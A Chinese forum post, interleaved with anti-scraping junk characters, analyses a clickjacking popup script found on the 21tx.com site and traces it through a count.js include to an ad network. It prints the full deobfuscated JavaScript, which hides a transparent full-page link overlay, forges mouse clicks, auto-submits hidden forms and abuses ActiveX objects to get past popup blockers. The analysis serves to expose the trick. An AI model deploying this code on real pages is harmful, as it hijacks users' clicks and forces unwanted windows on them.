国内也有牛人啊。很有用的。

小狠

天星网ClickJacking点击劫持分析
* x9 d8 a2 J) Y9 w  J7 T/ @http://www.21tx.com/ 天星网
0 X) Y+ _4 T) p! u我得联系联系作者
刚好打开这个站，发现第一次点击会弹窗，然后就不会，清除下COOKIE，又继续了，然后查看源代码，也没什么奇葩的。
http://www.lxting.com/script/popup/v1_min.js
# f7 l, \! z: `1 Y: g4 k
这个是锁定到底JS脚本，
! P" X8 V' `- E+ O解密后的代码

1. (function() {
   
2.     var aa_url = window.ytpp_url;
   
3.     var ua = navigator.userAgent;
   2 V$ H& G; m# @# r0 k2 K. U/ e  u
4.     var form_div = document.createElement('div');
   ) B6 i6 C! h8 o& G9 D7 q' y
5.     var form_pd = 0;
     F  x; i3 z3 w! h) y
6.     var browser = {
   3 B# R5 X* |$ N, X
7.         ie: /msie/i.test(ua),
   
8.         ie6: /msie 6/i.test(ua),
   4 d9 T/ W9 v1 R1 D5 J! ?
9.         ie7: /msie 7/i.test(ua),
   2 Y% r: |6 y3 F4 u0 q2 H% y0 P' t  |/ t
10.         ie8: /msie 8/i.test(ua),
    
11.         ie9: /msie 9/i.test(ua),
    
12.         360 : /360se/i.test(ua),
    6 b- y( V1 u; U( y8 \# }1 S
13.         sogou: /;?se.+?MetaSr/i.test(ua),
    % G- C4 b* }& b! {8 a/ l
14.         maxthon: /Maxthon/i.test(ua),
    6 f3 F$ [4 e% f* J1 J
15.         tt: /TencentTraveler/i.test(ua),
    ' j* X/ D7 Z1 i: m
16.         ff: /firefox/i.test(ua),
    3 B/ n' M5 v0 c1 Z2 A$ m7 p0 B* N
17.         webkit: /AppleWebKit/i.test(ua),
    + H6 z$ I( X# S1 f5 ~1 s0 p
18.         opera: /Opera/i.test(ua),
    
19.         qqbrowser: /QQBrowser/i.test(ua),
    
20.         cr: /chrome/i.test(ua),
    
21.         gg: window.chrome,
    
22.         theworld: /Theworld/i.test(ua)
    
23.     };
    ' x0 s$ C! c8 j# N7 x! x
24.     var _setting = "";
    9 I) x* T1 J) F. [
25.     var _ct = 0;
    
26.     var _le = 0;
    
27.     var _pd = 1;
    * d0 S' K. B6 f( q- ?9 @6 x
28.     var _pd2 = 0;
    8 H- ~: R' M9 K7 N/ z
29.     var _pc = 1;
    
30.     var _pc2 = 1;
    
31.     var _pco = 0;
    6 v: a6 b, z+ {. l
32.     var _pta = 0;
    2 ~5 p" v) W4 {/ y' z' R" v4 B
33.     var _ptb = 0;
    
34.     var _pt2a = 0;
    
35.     var _pt2b = 0;
    
36.     var _pt3a = 0;
    
37.     var _pt3b = 0;
    + l2 l% I8 W# }
38.     var _pt4a = 0;
    # F1 ~: r. q. ^# Z) t  t  b$ g
39.     var _pt4b = 0;
    
40.     var _pt5a = 0;
    * i9 {7 i9 [: l1 M  N
41.     var _pt5b = 0;
    
42.     var _pt6a = 0;
    
43.     var _pt6b = 0;
    
44.     var _pt7a = 0;
    - F* J" x+ d8 a4 \9 R: _: M
45.     var _pt7b = 0;
    6 p! e% H8 h1 ^+ L# c  R) y
46.     var _pt8a = 0;
    8 r' R1 C+ q# M5 i2 d4 y* t
47.     var _pt8b = 0;
    ' t# [  x" l! E6 M1 A
48.     var _pt9a = 0;
    
49.     var _pt9b = 0;
    
50.     var _pt10a = 0;
    ! O$ s% E4 h5 M. M
51.     var _pt10b = 0;
    0 X  O' }+ S$ n) }" C4 ^; w
52.     var _po = 0;
    1 M' Z. H& r4 \# D; B% T% ~
53.     var _poo = 0;
    
54.     var ckn, ckt;
    6 z# Y/ H, {7 m: x; c
55.     var ads = 0;
    
56.     function b(w) {
    
57.         var s = w + "=";
    2 w4 A  V$ k" `$ X) k
58.         var r = "";
    
59.         var o = 0;
    . z* Y* `  p$ b
60.         var d = 0;
    ; r& |8 p7 F* n) O2 ]2 j2 W
61.         var p = document.cookie;
    
62.         if (document.cookie.length > 0) {
    
63.             o = document.cookie.indexOf(s);
    
64.             if (o != -1) {
    
65.                 o += s.length;
    
66.                 d = document.cookie.indexOf(";", o);
    
67.                 if (d == -1) d = document.cookie.length;
    / [& _+ H/ u5 y) y3 ^2 }
68.                 r = unescape(document.cookie.substring(o, d))
    
69.             }
    
70.         }
    
71.         return r
    
72.     };
    7 Z; s) H( B8 p9 N  o! Z
73.     function p(w, p, v) {
    4 I1 M/ l! Z5 I6 \# S
74.         var t = 30;
    - l) D7 Q6 u0 _' N- C
75.         try {
    ; I: R. k6 q+ [4 X$ P
76.             t = parseFloat(p) * 1
    
77.         } catch(e) {
    ( c& Z+ l. D' N6 |  X+ Z
78.             t = 30
    
79.         }
    
80.         if (isNaN(t)) t = 30;
    
81.         var then = new Date();
    
82.         then.setTime(then.getTime() + t * 60 * 1000);
    * k) f/ H  U' a0 G3 u
83.         document.cookie = w + '=' + v + ';expires=' + then.toGMTString() + ';path=/;'
    
84.     };
    
85.     function init() {
    
86.         _setting = ytpp_sti;
    " }. L5 |2 b; W8 {0 s9 |  \$ |
87.         if (getp(_setting, "CT")) {
    " U7 M2 @, k* {5 I& `" B5 o- s
88.             _ct = getp(_setting, "CT")
      o* w$ n( ?6 T! D+ [
89.         }
    
90.         if (getp(_setting, "LE")) {
    # C5 y9 X9 T6 n: `! Q0 C
91.             _le = getp(_setting, "LE")
    " d) q; O& Z( t
92.         }
    & \8 u& B. E. Q) t. j. {
93.         if (getp(_setting, "PD2")) {
    ! ~  Q6 O5 |4 D  d( ~& f, q' a
94.             _pd2 = getp(_setting, "PD2")
    
95.         }
    3 `: V+ a5 N  [* Y9 g  W
96.         if (getp(_setting, "PC2")) {
    , l3 j; i6 M  U( l
97.             _pc2 = getp(_setting, "PC2")
    
98.         }
    
99.         if (getp(_setting, "PCO")) {
    3 {+ K# @$ N6 x  L4 S" u3 E2 d( C
100.             _pco = getp(_setting, "PCO")
     
101.         }
     
102.         for (var i = 1; i <= 10; i++) {
     
103.             var n = i == 1 ? "": i;
     
104.             if (getp(_setting, "PT" + n)) {
     . Z1 J4 f; j9 T" }% L5 n) A3 z1 m
105.                 eval("var _pt" + n + " = getp(_setting, 'PT" + n + "').split(',');");
     
106.                 eval("_pt" + n + "a = _pt" + n + "[0];");
     5 N* v2 p7 c# @- J) M8 j
107.                 eval("_pt" + n + "b = _pt" + n + "[1];")
     4 I' o, w4 F1 r* J# q3 k1 i
108.             }
     " Z. ^/ d8 C$ a: C
109.         }
     3 g1 ~6 H" C+ R
110.         if (getp(_setting, "PO")) {
     
111.             _po = getp(_setting, "PO")
     
112.         }
     
113.         if (getp(_setting, "POO")) {
     ; |( N" y7 `+ t. Q6 z- C
114.             _poo = getp(_setting, "POO")
     , y4 b8 R2 w* p! B9 C
115.         }
     ) r. p% i1 q$ V4 G* e
116.         if (_pco == 1 || _poo == 1) {
     
117.             if (_poo == 1) {
     3 u: a& L' E& f( w# h, ]
118.                 _pco = 0
     
119.             } else {
     
120.                 _poo = 0
     / [8 T( l* l% R$ `) g9 Q' R% u
121.             }
     $ L, b, \* Z# C
122.             _pd = _pd2 = _pc = _pc2 = _po = _pta = _ptb = 0;
     5 r8 `' c1 Z/ g; F. Y
123.             for (var i = 2; i <= 10; i++) {
     
124.                 eval("_pt" + i + "a = _pt" + i + "b = 0;")
     - E' L( U( X4 s: e3 L7 w
125.             }
     & H" s$ I$ G) @, k
126.         }
     
127.     };
     1 K- ~: V# }5 m/ P
128.     function getp(s, p) {
     
129.         var i = s.indexOf(p + ":");
     ) J$ o6 H7 F$ y! I" P1 F
130.         if (i >= 0) {
     
131.             return s.substr(i + p.length + 1, s.substr(i).indexOf(";") - p.length - 1)
     : J, @* E4 p! A
132.         }
     : M( [0 u8 ]# u% B1 I2 Q" L/ g$ S
133.     };
     0 m. [6 H; ?2 I4 }6 t! W9 h
134.     function event(e, event, func, act) {
     7 T# o/ h! W* A* g+ p$ R
135.         if (browser.ie) e[act === undefined ? 'attachEvent': 'detachEvent']('on' + event, func);
     
136.         else e[act === undefined ? 'addEventListener': 'removeEventListener'](event, func, false)
     
137.     }
     
138.     function pop(url, param) {
     
139.         if (!document.body) {
     % P( e6 ~3 s! S6 z
140.             return setTimeout(function() {
     
141.                 pop(url, param)
     
142.             },
     
143.             13)
     ) H/ [5 I+ C, X( p/ t* r  e
144.         }
     
145.         try {
     8 I: k  k/ z! A, K
146.             if (browser['cr'] && browser['gg']) {
     
147.                 try {
     
148.                     hrefopen(url)
     # E) ]7 e& n; P: ^% }6 D. i
149.                 } catch(e) {
     9 z1 P. F9 ^1 C3 h2 m
150.                     a_pop(url)
     7 `& J+ ]3 M4 ~* P# j9 d
151.                 }
     
152.             } else if (browser['webkit'] && browser['maxthon']) {
     
153.                 if (!func(url)) {
     
154.                     try {
       ]$ ~/ [' O( G, C+ j
155.                         form_pop(url);
     
156.                         a_pop(url)
     
157.                     } catch(e) {}
     
158.                 }
     ) S2 k% D: q& Z: @& z% x- z
159.             } else if (browser['tt']) {
     
160.                 try {
       s; A; b3 m2 w, i7 c
161.                     object_pop(url)
     . s0 v: Y; [, ^
162.                 } catch(e) {
     
163.                     a_pop(url)
     
164.                 }
     
165.             } else if (browser['sogou']) {
     
166.                 if (!func(url)) {
     # ^; L1 L- Z" L3 X
167.                     try {
     
168.                         a_pop(url)
     
169.                     } catch(e) {}
     " T! D- d# O: F3 ~6 `+ i4 a
170.                 }
     * K- g2 }0 D4 t
171.             } else if (browser['webkit'] && browser['qqbrowser']) {
     ( S3 H5 `3 Z$ \5 H1 Z' H" \: p
172.                 if (!func(url)) {
     
173.                     try {
     
174.                         form_pop(url)
     : [! X/ \; x; `
175.                     } catch(e) {
     $ w6 c$ Z7 }: m* f
176.                         click_pop(url)
     , p: s2 M! N3 Q& R4 B3 i. Z; a$ {% L! m
177.                     }
     
178.                 }
     : T: m- w  e4 ~' c
179.             } else if (browser['webkit'] || browser['opera']) {
     
180.                 try {
     
181.                     form_pop(url);
     
182.                     a_pop(url)
       ~9 w* M' \' O$ X* t. T
183.                 } catch(e) {}
     
184.             } else if (browser['theworld'] && browser.ie6) {
     
185.                 if (!object_pop2(url)) {
     
186.                     a_pop(url)
     ' }" U$ W7 C- |8 n" R# d1 P
187.                 }
     
188.             } else if (browser['theworld'] && browser.ie8) {
     ) T# z4 G% K" e) |/ V4 Z, \% E- v
189.                 if (!func(url)) {
     5 N/ R1 \/ Y8 f* d) p" @
190.                     try {
     5 q8 m# P" n) ~  @& O4 R
191.                         object_pop(url)
     : A) N7 O5 r% L9 }
192.                     } catch(e) {
     
193.                         click_pop(url)
     
194.                     }
     * l' w/ [4 m2 a: O" ^8 r
195.                 }
     
196.             } else if (browser.ie6) {
     
197.                 if (!func(url)) {
     
198.                     object_pop2(url)
     
199.                 }
     
200.             } else if (browser.ie8) {
     . Q, U% M/ y( C# g& t! Y' r7 [
201.                 if (!func(url)) {
     2 D8 x5 `% f) i8 j4 o' h
202.                     try {
     % N5 N3 [# f: n7 [6 f5 v2 F. V
203.                         object_pop(url)
     
204.                     } catch(e) {
     5 A: n. z, ~! {
205.                         document.onclick = function() {
     
206.                             func(url);
     
207.                             document.onclick = null
     . C5 A8 J. ]) N
208.                         }
     
209.                     }
     0 b& w3 j, C  }! W( }% b% @% F
210.                 }
     
211.             } else if (browser['ie']) {
     
212.                 try {
     
213.                     object_pop(url)
     
214.                 } catch(e) {
     3 @. z' d/ Y# F7 {' J' ]9 y. e4 u
215.                     click_pop(url)
     
216.                 }
     
217.             } else if (browser['ff']) {
     
218.                 if (!func(url)) {
     
219.                     click_pop(url)
     
220.                 }
     
221.             } else {
     + Q" @. J. |- ]9 I) N* ~
222.                 if (!func(url)) {
     ' T* M) V* ?. w# J8 Y" Y7 P* D
223.                     click_pop(url)
     . }" H( u+ Y$ y! u) z, d8 C
224.                 }
     ( Z6 F7 E8 ?$ `, Q3 c
225.             }
     
226.         } catch(e) {
     - s/ m, ]2 r) U' k& f
227.             if (browser.ie7 || browser.ie8 || browser.ie9 || browser['qqbrowser']) {
     * {+ w3 ~( Y( J$ U
228.                 click_pop(url)
     ' h/ S% o* \3 m8 q6 I- ~
229.             } else {
     5 a- K( J, S! M6 s
230.                 a_pop(url)
     
231.             }
     
232.         }
     * J# a" O" v% U( f2 C. ~$ W" S, j" m
233.     }
     8 S( P# v3 o( F+ k
234.     function object_pop(url, param) {
     
235.         var object = document.createElement('object');
     
236.         object.setAttribute('classid', 'CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6');
     
237.         object.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
     , A& g1 D0 L0 a8 A) d
238.         append(object);
     
239.         object.launchURL(url);
     ! n8 l, S* r" x# J! n. ^6 @
240.         ads++;
     
241.         p(ckn, ckt, ads)
     - a/ v, s0 U- \: W* ~1 Q: _& k
242.     }
     
243.     function object_pop2(url, param) {
     + c% ]/ {3 L: j5 z8 S$ V) n
244.         var object2 = document.createElement('object');
     
245.         object2.setAttribute('classid', 'clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A');
     
246.         object2.style.cssText = 'position:absolute;left:1px;top:1px;width:1px;height:1px;';
     6 R! ]; W4 D" H6 y- b
247.         append(object2);
     & v% }; ~$ w" r8 T5 u: J0 P$ @
248.         for (var i in object2) {
     9 a9 g+ q1 H# m; }7 B/ X: @
249.             try { (function(o) {})(object2[i])
     6 L5 G/ e+ T* E7 j: T
250.             } catch(e) {}
     ( P8 \2 _! h  c. b/ Y/ q6 l
251.         }
     
252.         setTimeout(function() {
     
253.             object2.DOM.Script.open(url, '_blank', '')
     
254.         },
     . I4 f; m9 d" p- U6 Q4 N! W, b# r
255.         500);
     
256.         ads++;
     0 f, H/ G+ ~& m, L% N0 x7 v4 A
257.         p(ckn, ckt, ads)
     ! y% {/ |/ |( z
258.     }
     
259.     function append(e) {
     * ?  @' W5 H$ b1 k6 Z
260.         for (var t in {
     : L& L# h8 v0 ?8 |
261.             body: 1
     1 u2 e+ j' I1 A- v2 P) J: k+ s
262.         }) {
     . h7 a% f& y3 M3 L) {% b5 l
263.             var ele = document.getElementsByTagName(t);
     
264.             for (var i = 0; i < ele.length; i++) {
     
265.                 ele[i].insertBefore(e, ele[i].firstChild);
     
266.                 return
     
267.             }
     
268.         }
     
269.     }
       f" t$ @* g0 C/ `
270.     function hrefopen(url) {
     ( J1 D$ ~3 Y+ r  V& a
271.         try {
     
272.             var c = document.createElement("a");
     ! g% o6 Z9 M$ T) k0 [# _$ ?3 S
273.             c.setAttribute("href", url);
     
274.             c.setAttribute("target", "_blank");
     
275.             c.setAttribute("style", "display:none;");
     9 c# l, o6 _# e, C
276.             var b = document.createEvent("MouseEvents");
     
277.             b.initMouseEvent("click", false, false, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null);
     
278.             c.dispatchEvent(b);
     0 X0 O9 W1 N; \4 C
279.             ads++;
     * H/ w# P" t7 [7 E2 P
280.             p(ckn, ckt, ads);
     9 s- s: [) z" y3 L
281.             return true
     - m* `. g( f3 b- W' O( d
282.         } catch(q) {
     
283.             return false
     % O- B' i) y: f9 v- d
284.         }
     7 n) U( B8 V8 q& W6 q2 {7 P
285.     }
     
286.     function form_pop(url) {
     
287.         form_div.setAttribute('id', '__unionsky_push_d_object_box__');
     
288.         form_div.setAttribute('style', 'display:none');
     
289.         var form = document.createElement('form');
     
290.         form.setAttribute('action', aa_url);
     
291.         form.setAttribute('method', 'post');
     
292.         form.setAttribute('name', '__unionsky_push_d_form_box__');
     . r* o9 t0 C& S, o
293.         form.setAttribute('target', '_blank');
     
294.         form.setAttribute('style', 'display:none');
     
295.         var sinput = document.createElement('input');
     
296.         sinput.setAttribute('style', 'display:none');
     ' C8 t; \* m  ^! I3 A
297.         sinput.setAttribute('type', 'submit');
     
298.         sinput.setAttribute('id', '_sumit_2app');
     
299.         form.appendChild(sinput);
     
300.         form_div.appendChild(form);
     
301.         append(form_div);
     , l: T, T  `$ a# i$ m
302.         var unionsky_from = document.forms["__unionsky_push_d_form_box__"];
     2 q* v% H4 f" A' X
303.         try {
     2 ^* z' G% n8 u9 ^' b
304.             document.getElementById("_sumit_2app").click()
     6 R! O+ J6 ~/ T. a4 p4 {
305.         } catch(e) {
     5 n/ s, @4 N- U3 o2 F3 A$ Y
306.             event(document, 'keyup',
     
307.             function(e) {
     
308.                 if (document.getElementById('__unionsky_push_d_object_box__') == null) {
     3 u' `9 L; B  A9 ^: E8 l
309.                     return
     1 ~7 L- ]! f: Y( _
310.                 };
     
311.                 e = e || window.event;
     
312.                 e.canceBubble = true;
     / E6 ?% F' b5 ^- q6 W5 z! g0 s7 L
313.                 event(document, 'keyup', arguments.callee, true);
     ; q# m. I1 V( T' e
314.                 form_pd = 1;
     
315.                 unionsky_from.submit()
     . @6 ~' g! S3 o
316.             })
     
317.         }
     
318.     };
     # N3 W6 E- u2 S& S: \
319.     function click_pop(url, param) {
     3 s) A+ K8 i1 `$ ~  E( Q
320.         event(document, 'mouseup',
     
321.         function(e) {
     
322.             e = e || window.event;
     3 @; f/ T* m; C: N+ [, i7 j& ~: W
323.             e.canceBubble = true;
     
324.             event(document, 'mouseup', arguments.callee, true);
     ! B" s" w4 x0 O8 I, {0 V: v
325.             func(url, param);
     7 i1 }% ]% w  R* a& {) o
326.             ads++;
     # w, k4 a& g+ {3 d  j8 S9 o
327.             p(ckn, ckt, ads)
     
328.         })
     
329.     };
     % H3 R& M7 P9 u1 N  {
330.     function a_pop(url) {
     5 O/ p4 M% O" U- K7 g
331.         if (ytpp_plid == 166028) {
     ) @) C/ @- d9 z, b( o# n
332.             return
     
333.         }
     4 r  i8 j# s  c) t8 t$ L2 d
334.         if (!document.body) {
     - j, F0 K  C3 q0 }9 U
335.             return setTimeout(function() {
     
336.                 a_pop(url)
     
337.             },
     
338.             13)
     8 g3 g, {' c+ t
339.         }
     
340.         var a = document.createElement("a");
     
341.         a.href = url;
     
342.         a.target = "_blank";
     - ~% G/ G" |: b+ u
343.         var div = document.createElement('div');
     
344.         div.style.backgroundColor = '#fff';
     
345.         a.appendChild(div);
     
346.         append(a);
     8 |& g, z6 f& S5 Y
347.         var as = a.style;
     
348.         as.position = "absolute";
     9 @, s1 ^4 z$ k' k# p: V9 ?" N
349.         as.zIndex = '2147483647';
     2 ?, u! w/ L0 ?& l) a7 S$ ^
350.         as.display = "block";
     
351.         as.top = "0px";
     
352.         as.left = "0px";
     
353.         as.cursor = 'default';
     ! o( b) A4 c0 n
354.         as.opacity = "0";
     " v) K' O0 \- h3 o1 ~1 A
355.         as.filter = "alpha(opacity:0)";
     
356.         var m = setInterval(function() {
     
357.             if (form_pd == 1) {
     ; e( x# G) U: o# u/ c
358.                 a.parentNode.removeChild(a);
     ! i+ K: s' |* z: N1 e( \4 ?. h
359.                 clearInterval(m);
     & Z0 v# D8 w' C, m
360.                 return
     
361.             }
     
362.             a.style.zIndex = '2147483647';
     
363.             var d = (document.compatMode.toLowerCase() == 'css1compat') ? document.documentElement: document.body;
     8 h+ b7 D! |( u5 n2 G6 |2 n
364.             a.style.top = Math.max(document.documentElement.scrollTop, document.body.scrollTop) + 'px';
     
365.             div.style.width = Math.min(d.clientWidth, d.scrollWidth) + 'px';
     3 K( k' e6 u- s& N
366.             div.style.height = d.clientHeight + 'px';
     6 _6 d' }+ Y7 X# v3 U' U5 p# K
367.             if (browser['ie']) {
     0 S# `  P" K$ a, R' [
368.                 try {
     ! R; |* c% \: a
369.                     var divs = document.body.childNodes;
     5 l$ |9 ~' e4 L3 q- }# X$ s
370.                     for (var i = 0; i < divs.length; i++) {
     2 ?* o* q- G- A4 Q1 z' ^
371.                         if (!divs[i]['style']) {
     
372.                             continue
     8 o2 u" @  u9 _  J0 p0 j
373.                         }
     
374.                         var _i = parseInt(divs[i].style.zIndex);
     
375.                         if (_i && divs[i] != a && _i == 2147483647) {
     / u4 n$ r  w3 u0 X% f6 X
376.                             divs[i].style.zIndex = _i - 1
     
377.                         }
     
378.                     }
     
379.                     a.style.zIndex = '2147483647'
     " }1 h8 f) V) F. \
380.                 } catch(e) {}
     
381.             }
     4 b* u0 j" ~6 ]/ I' N& r) m1 c
382.         },
     
383.         120);
     
384.         a.onclick = function(e) {
     
385.             if (document.getElementById('__unionsky_push_d_object_box__') != null) {
     7 S; `( |* v6 |/ N
386.                 form_div.parentNode.removeChild(form_div)
     
387.             }
     + H' M7 {" r" I2 l. s
388.             e = e || window.event;
     / l4 g' x/ j2 U# u& P2 B6 N
389.             e.cancelBubble = true;
     
390.             setTimeout(function() {
     
391.                 a.parentNode.removeChild(a)
     : @" E+ l8 ]4 ~1 N+ h- ]$ E
392.             },
     9 N9 X& F5 ?! ~4 q. K7 U
393.             200);
     4 _* m5 c( Q( H$ n
394.             clearInterval(m);
     ( c, c5 d! d- P. R( b& c) f# ~" Z1 P
395.             ads++;
     
396.             p(ckn, ckt, ads)
     
397.         };
     
398.         event(a, 'mouseup',
     
399.         function(e) {
     
400.             e = e || window.event;
     3 N# ]8 {$ g# D
401.             e.cancelBubble = true
     
402.         })
     9 s$ a8 X+ b: n# J
403.     }
     , ]7 v. j6 o' K. y
404.     function func(url, param) {
     . V/ ~1 L! e+ ^9 h. S4 f. k: h1 R% U
405.         var f = window[String.fromCharCode(111, 112, 101, 110)];
     
406.         var w = f(url, '_blank', 'left=0,top=0,toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=' + screen.width + ',height=' + screen.height);
     
407.         if (w) {
     
408.             ads++;
     ( c, ]3 u( E& V  U
409.             p(ckn, ckt, ads)
     
410.         };
     
411.         return w
     4 g2 P9 e5 H4 T0 k" D
412.     }
     
413.     function fstart(url) {
     
414.         init();
     
415.         if (_ct >= 0) {
     
416.             ckn = "YITIAN_NUM";
     . n; `  a$ n; |  q
417.             ckt = _ct
     6 T# ^) V9 W8 E9 p+ n. }
418.         } else {
     
419.             ckn = "YITIAN_ALL";
     8 M, A1 m( T1 R0 K: E$ c, v! s
420.             ckt = Math.abs(_ct)
     " C. M5 _$ r9 r( c- b9 F
421.         }
     
422.         if (ckt > 0) {
     
423.             if (b(ckn)) {
     
424.                 try {
     
425.                     ads = parseFloat(b(ckn))
     / J6 b9 q! L* C5 I1 W
426.                 } catch(q) {}
     
427.             }
     4 u+ ~$ d% c6 l# n( L
428.         }
     
429.         if ((ads > 0 && ckn == 'YITIAN_ALL') || ads >= ytpp_ads) {
     4 x, S6 s. N" X" g
430.             return
     
431.         } else {
     
432.             if (_le > 0) {
     
433.                 setTimeout(go(url), _le * 1000)
     
434.             } else {
     ( \" w+ l0 Q8 C$ v1 x
435.                 go(url)
     : K, T1 r8 w! u0 O( {5 Y
436.             }
     ; F4 N3 J! G3 V. ?/ C
437.         }
     9 |) A: V$ W/ l  t
438.     }
     
439.     function go(url) {
     7 A  X4 ~# ~% W2 }
440.         if (_poo == 1) {
     
441.             try {
     
442.                 func(url)
     7 [9 Y9 t7 k1 I0 ~. R. E
443.             } catch(q) {}
     
444.         } else if (_pco == 1) {
     & D4 K8 \) O. v8 W! j
445.             a_pop(url)
     
446.         } else {
     
447.             if (_pd == 1) {
     
448.                 setTimeout(function() {
     
449.                     pop(url, {
     
450.                         a: 1,
     
451.                         b: 2
     
452.                     })
     9 B* u* v5 U/ N( E; I1 N- T' C
453.                 },
     
454.                 300)
     0 i8 z- j$ v% I5 t
455.             }
     
456.             if (_pd2 > Math.random()) {
     
457.                 setTimeout(function() {
     
458.                     pop(url, {
     
459.                         a: 1,
     " c7 H% M7 |$ p* S
460.                         b: 2
     
461.                     })
     
462.                 },
     8 s; k& {9 w8 F+ E" ?5 g& X
463.                 300)
     
464.             }
     ; f& Y8 P5 X4 I# c2 Z8 O& o
465.             for (var i = 1; i <= 10; i++) {
     
466.                 var n = i == 1 ? "": i;
     
467.                 if (eval("_pt" + n + "b") > Math.random()) {
     7 L( |& @; s0 n, F+ B' F+ P
468.                     setTimeout(function() {
     
469.                         setTimeout(function() {
     " f6 }  F9 J% C, ~1 A2 X
470.                             pop(url, {
     
471.                                 a: 1,
     
472.                                 b: 2
     
473.                             })
     7 _0 u3 S0 |* N9 y7 O
474.                         },
     
475.                         300)
     ) k" c0 l3 `: p& v# `" I" n, k$ g
476.                     },
     " c8 }1 U* H" i5 I! J
477.                     parseInt(eval("_pt" + n + "a")) * 1000)
     ; ?  ?# `6 L- U. q. l3 p5 N
478.                 }
     
479.             }
     
480.             if (_pc2 > Math.random()) {
     6 _) ~9 E% v5 {& \" m2 G: e
481.                 a_pop(url)
     1 ?% D; h7 K+ ^" Z0 W- J
482.             }
     : C. d2 k4 d# I6 I4 \( e
483.             if (_po > Math.random()) {
     7 _7 z. A, \( a! D- s2 d3 @+ o6 e
484.                 try {
     / d) b! d& I! |5 `
485.                     func(url)
     8 n% f1 G/ C: }6 V1 S
486.                 } catch(q) {}
     7 R" C- P) f+ {
487.             }
     - u  o  R' }& K$ ^
488.         }
     : g7 H! D( s- e
489.     };
     $ ]1 n3 T2 j9 @. ~* x4 M
490.     fstart(aa_url);
     ' Z5 `! e" `1 o1 w7 s2 s4 W- v. f
491.     event(window, 'beforeunload',
     5 ~" k2 }& M3 T1 B. E
492.     function() {})
       ~$ ~- _& }3 d. j8 @1 |  K
493. })();

复制代码

通过浏览器抓包
& M0 J6 E, Q+ J5 N, lURL从这里产生
+ }8 d: j9 v" {. Y- l
; u0 [7 Q; t! a2 v9 lhttp://play.unionsky.cn/show/?placeid=141830

: y# B8 |3 A4 d; C  ~6 g1 U9 c% v9 J

小狠

直接打开看不到什么东西
' W) g' S$ J4 _( {http://www.unionsky.cn/ 是属于这个广告联盟的
3 o. l9 o5 D1 M/ `我们直接分析抓包的内容
" e7 S. {3 \( O% }2 k; s

var ytpp_r = encodeURIComponent(encodeURIComponent(document.referrer));
3 w2 ]! \% c" i; v2 d  i6 Bytpp_r = ytpp_r.length > 1000 ? ytpp_r.substring(0, 1000) : ytpp_r;
, Q' O9 E+ _; B9 O/ a% v+ j$ bvar ytpp_u = encodeURIComponent(navigator.userAgent);
! g: F1 X  S$ ^5 M( I- Svar ytpp_s = window.screen.width + "*" + window.screen.height;
" h; |6 U2 n8 d, V! U! x* L; cvar ytpp_l = navigator.browserLanguage || navigator.language;
var ytpp_plid = 141830;
var ytpp_w = 0;
( ^- i# R' [: tvar ytpp_h = 0;
8 Z3 P( D9 ]9 B0 b1 Jvar ytpp_url = "http://www.lxting.com/jmp/?p=f7xNjUO8Y80tB6KZyJ*jzRXjLuoZaOluHDv/IndJK1Z/mc0eKhM2QddlbEorugPwTAd08JIi*oDNYfaUSsF7QNBk3/CB3LW8&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random();
var ytpp_ads = 14;
1 o' g. ?" L6 X2 h7 l+ Avar ytpp_sti = 'CT:-3D:1C:1C2:1T:60,1T2:100,1;';
/ a1 a) V( Z  z0 A) b# jdocument.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/pp/?p=f7xNjUO8Y81LybptxG2Vq//rYbtxQcP5GVnJOL07Ka8=&r=" + ytpp_r + "&u=" + ytpp_u + "&s=" + ytpp_s + "&l=" + ytpp_l + "&n=" + Math.random() + "'></script>");
document.write("<script language='javascript' type='text/javascript' src='http://www.lxting.com/script/popup/v1_min.js'></script>");

5 l! Q6 Y7 y* V! {4 k0 R: H那么这个http://play.unionsky.cn/show/?placeid=141830又是从哪里被引用进去呢。
继续分析 发现这里

- O# u. {2 T2 i4 u' m3 j8 mhttp://txsite.21tx.com/count/count.js

8 b  `! l! _7 D6 A( o8 D8 y

txcount_uid = 1;
txcount_uh = 0;
1 Q8 g2 [9 _! Ntxcount_uw = 0;
9 k+ @$ R; p/ Y3 }txcount_uah = 0;
1 J# Z8 C7 G2 t6 b5 {1 Ltxcount_uaw = 0;
  K9 Q4 D# y! j: p% @, s7 Ctxcount_ucd = 0;
   
if (window.screen) {
  txcount_uh = window.screen.height;
  txcount_uw = window.screen.width;
* w* T6 H3 D! l  C* l' q( E  txcount_uah = window.screen.availHeight;
9 v& @- A0 p2 }. ^. P% [" P  X  txcount_uaw = window.screen.availWidth;
  txcount_ucd = window.screen.colorDepth;
9 r( V* e% i! s6 R. q0 X0 d5 _}
7 z3 ?3 N. a$ K4 j* t) n$ z* ]   
   
  R. R8 ?7 M% u( x" N! Tvar url = "http://txsite.21tx.com/count/count.aspx";
url = url + "?u="+ txcount_uid;
//url = url + "&f=" + txcount_f;
url = url + "&k=" + txsite_pagekey;
: N7 S+ R! ~9 N% [//url = url + "&t=" + txcount_t;
url = url + "&l=" + escape(document.location);
url = url + "&r=" + escape(document.referrer);
url = url + "&uh=" + txcount_uh;
/ ?# X! c3 [5 ~5 F0 P9 n% Nurl = url + "&uw=" + txcount_uw;
url = url + "&uah=" + txcount_uah;
* O* b1 T) Y8 _7 P! turl = url + "&uaw=" + txcount_uaw;
url = url + "&ucd=" + txcount_ucd;
1 y3 @6 G9 w/ D, e; [% _( b   
   
' W( Z4 d) t6 z( D7 idocument.write("<script src=" + url + "><\/script>");
//document.write('<script src="http://s4.cnzz.com/stat.php?id=4820460&web_id=4820460" language="JavaScript" charset="gb2312"><\/script>');
! X2 T) p  \) t( g- x% k( e   
+ k8 ~( x; e; o3 M, r+ Vdocument.write('<script src="http://s127.cnzz.com/stat.php?id=1474936&web_id=1474936" language="JavaScript" charset="gb2312"><\/script>');
) t, l) K; ~  K: c0 b+ R   
   
document.write("<script language='javascript' src='http://play.unionsky.cn/show/?placeid=141830'><\/script>");

: S% W" S9 Q- ~4 y, Y' ^
一切昭然天下了。
" u2 H: n3 F' `; s0 j2 `代码产生的直接效果如下
# R4 K9 i& _9 ]$ r! z7 Y/ T8 f
